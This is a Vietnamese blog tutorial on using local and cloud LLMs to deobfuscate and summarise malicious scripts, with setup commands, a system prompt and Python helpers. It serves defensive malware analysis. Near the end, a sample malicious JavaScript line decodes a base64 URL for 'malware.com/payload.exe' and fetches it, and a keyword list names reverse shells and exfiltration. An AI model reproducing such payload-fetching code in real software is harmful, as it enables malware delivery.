AI trong Phân tích Mã độc: Sử dụng LLM để Giải mã và Tóm tắt các Script Độc hại

AI tutorial - IT technology blog
AI tutorial - IT technology blog

Bối cảnh: Vượt xa khỏi việc khớp mẫu thủ công

Phân tích mã độc từng là một quy trình thủ công cực kỳ gian khổ. Kẻ tấn công che giấu ý đồ bằng các kỹ thuật như đổi tên biến, mã hóa Base64 và chèn code rác (dead-code) để vượt qua các trình quét. Nếu bạn đã từng phải nhìn chằm chằm vào một file JavaScript dài 5.000 dòng mà mọi biến đều được đặt tên là _0x4a2b, bạn sẽ hiểu sự nhức đầu đó. Nó vừa tẻ nhạt vừa dễ sai sót.

Khi làm việc trong lĩnh vực vận hành an ninh, tôi nhận thấy nút thắt cổ chai lớn nhất là việc ‘giải nén’ (unpacking) các script này. Thường mất ba hoặc bốn giờ làm việc thủ công chỉ để hiểu một script PowerShell duy nhất đang làm gì. Bằng cách sử dụng các Mô hình Ngôn ngữ Lớn (LLM) như GPT-4 hoặc Claude 3.5, tôi đã rút ngắn thời gian đó xuống còn dưới năm phút. Các mô hình này không chỉ tìm kiếm chữ ký (signature); chúng suy luận qua logic của code để tìm ra tín hiệu thực sự giữa vô vàn nhiễu.

LLM cực kỳ xuất sắc trong việc xác định cấu trúc cơ bản của một script ngay cả khi cú pháp bị cố tình làm xáo trộn. Chúng hiểu luồng dữ liệu (data flow). Điều này cho phép chúng ta biến một trình tải xuống (downloader) bí ẩn thành một bản tóm tắt rõ ràng, dễ hiểu gần như ngay lập tức. Nó thay đổi công việc từ giải mã cú pháp sang đưa ra các quyết định chiến lược.

Cài đặt: Thiết lập môi trường phân tích

Bạn cần một môi trường được kiểm soát cho việc này. Đừng bao giờ phân tích mã độc trực tiếp trên máy tính chính của bạn. Hãy sử dụng một máy ảo Linux chuyên dụng hoặc một container Docker để đảm bảo an toàn. Chúng ta sẽ sử dụng Python để giao tiếp với các LLM và thư viện ollama để phân tích cục bộ nhằm giữ bí mật dữ liệu nhạy cảm.

1. Chuẩn bị môi trường Python

Bắt đầu bằng cách tạo một môi trường ảo. Điều này giúp các phụ thuộc (dependencies) của bạn luôn sạch sẽ và tách biệt.

mkdir ai-malware-analysis
cd ai-malware-analysis
python3 -m venv venv
source venv/bin/activate
pip install openai ollama python-dotenv

2. Thiết lập LLM cục bộ

Gửi mã độc lên một nhà cung cấp đám mây có thể rủi ro nếu mã đó chứa IP nội bộ hoặc thông tin đăng nhập của công ty bạn. Ollama cho phép bạn chạy các mô hình cục bộ. Nếu bạn có GPU với ít nhất 8GB VRAM, llama3 là một khởi đầu tốt. Để có độ chính xác cao hơn, hãy thử deepseek-coder nếu bạn có 24GB VRAM trở lên.

ollama pull llama3:8b
# Hoặc sử dụng một mô hình chuyên biệt cho lập trình
ollama pull deepseek-coder:33b

Cấu hình: Xây dựng quy trình phân tích

Sức mạnh thực sự của phân tích bằng AI đến từ cách bạn đặt vấn đề. Bạn không thể chỉ hỏi AI liệu một file có “xấu” hay không. Bạn phải hướng dẫn nó đóng vai một nhà nghiên cứu bảo mật dày dạn kinh nghiệm tuân theo một phương pháp cụ thể.

Định nghĩa System Prompt

Tôi nhận thấy rằng một vai trò (persona) có cấu trúc sẽ giảm thiểu tình trạng “ảo giác” (hallucination) — những lúc AI tự tưởng tượng ra các tính năng không hề tồn tại. Dưới đây là một đoạn mã Python để khởi tạo quá trình phân tích với một bộ quy tắc nghiêm ngặt:

import ollama

SYSTEM_PROMPT = """
Bạn là một chuyên gia Nghiên cứu Mã độc. Nhiệm vụ của bạn là giải mã (deobfuscate) các script và tóm tắt hành vi của chúng.
Quy tắc:
1. Xác định các kỹ thuật che giấu (ví dụ: XOR, Base64, dịch chuyển mã ký tự).
2. Đổi tên các biến để phản ánh mục đích thực sự của chúng.
3. Trích xuất các Chỉ số Thỏa hiệp (IOC) như URL, IP và đường dẫn tệp.
4. Phân loại mối đe dọa (ví dụ: Ransomware, Trình đánh cắp thông tin đăng nhập).
Xuất mã sạch trước, sau đó là bản tóm tắt.
"""

def analyze_malware(script_content):
    response = ollama.chat(model='llama3',
                           messages=[
                               {'role': 'system', 'content': SYSTEM_PROMPT},
                               {'role': 'user', 'content': f"Phân tích script này:\n\n{script_content}"}
                           ])
    return response['message']['content']

Xử lý các script lớn

LLM có giới hạn ngữ cảnh, mặc dù chúng đang được mở rộng. GPT-4o hỗ trợ 128k token, nhưng các mô hình cục bộ như Llama 3 thường hạn chế hơn. Nếu một script quá lớn, đừng đưa tất cả vào cùng một lúc. Hãy chia nhỏ nó thành các hàm riêng lẻ. Sử dụng cách tiếp cận ‘Map-Reduce’: tóm tắt từng hàm một cách độc lập, sau đó yêu cầu AI giải thích cách các bản tóm tắt đó kết nối với nhau.

Xác minh: Đảm bảo độ chính xác và an toàn

AI là một trợ lý đắc lực, nhưng nó không hoàn hảo. Đôi khi nó có thể hiểu sai logic phức tạp hoặc bỏ lỡ một kiểm tra ‘anti-VM’ tinh vi. Việc xác minh là bắt buộc.

1. Phương pháp kiểm tra chéo

Khi AI xác định được một Chỉ số Thỏa hiệp (IOC), hãy xác minh nó theo cách thủ công. Nếu AI nói rằng script kết nối với evil-domain.com, hãy chạy lệnh grep hoặc ctrl+f trên mã nguồn thô để tìm chuỗi đó. Nếu chuỗi bị mã hóa, hãy sử dụng một công cụ như CyberChef để xác minh xem kết quả Base64 (ví dụ: ZXZpbC1kb21haW4uY29t) có khớp với những gì AI đã báo cáo hay không.

2. Xác thực tự động

Bạn có thể sử dụng một script đơn giản để gắn cờ các từ khóa rủi ro cao trong báo cáo của AI. Điều này giúp ưu tiên các mẫu cần sự chú ý ngay lập tức của con người.

def flag_high_risk(analysis_report):
    # Danh sách các từ khóa rủi ro
    risk_keywords = ['credential stealing', 'exfiltration', 'reverse shell', 'registry modification']
    found_risks = [word for word in risk_keywords if word in analysis_report.lower()]
    
    if found_risks:
        print(f"[!] CẢNH BÁO: Đã phát hiện {', '.join(found_risks)}.")
    else:
        print("[*] Không tìm thấy chỉ số rủi ro cao nào.")

# Kiểm tra nhanh
malicious_js = "var _0x12=atob('aHR0cDovL21hbHdhcmUuY29tL3BheWxvYWQuZXhl'); fetch(_0x12)..."
report = analyze_malware(malicious_js)
flag_high_risk(report)

3. Các thực hành vận hành tốt nhất

  • Chỉ phân tích tĩnh: Đảm bảo môi trường Python của bạn không bao giờ thực thi mã độc. Sử dụng AI để đọc mã, không phải để chạy nó.
  • Bảo mật dữ liệu: Nếu một script chứa dữ liệu nội bộ của công ty, hãy sử dụng các mô hình cục bộ. Các API đám mây có khả năng lưu trữ các prompt của bạn để huấn luyện.
  • Thực hiện lặp lại: Nếu bản tóm tắt còn mơ hồ, hãy đặt các câu hỏi tiếp theo. Câu hỏi “Mục đích của vòng lặp ở dòng 12 là gì?” thường mang lại kết quả tốt hơn một câu hỏi chung chung duy nhất.

Việc tích hợp LLM vào quy trình làm việc bảo mật sẽ biến một công việc thủ công chậm chạp thành một quá trình đánh giá chiến lược nhanh chóng. Trọng tâm của tôi đã chuyển từ ‘làm thế nào để giải mã cái này?’ sang ‘mục tiêu của kẻ tấn công là gì?’. Đó chính xác là nơi mà thời gian của một kỹ sư có giá trị nhất.

Share: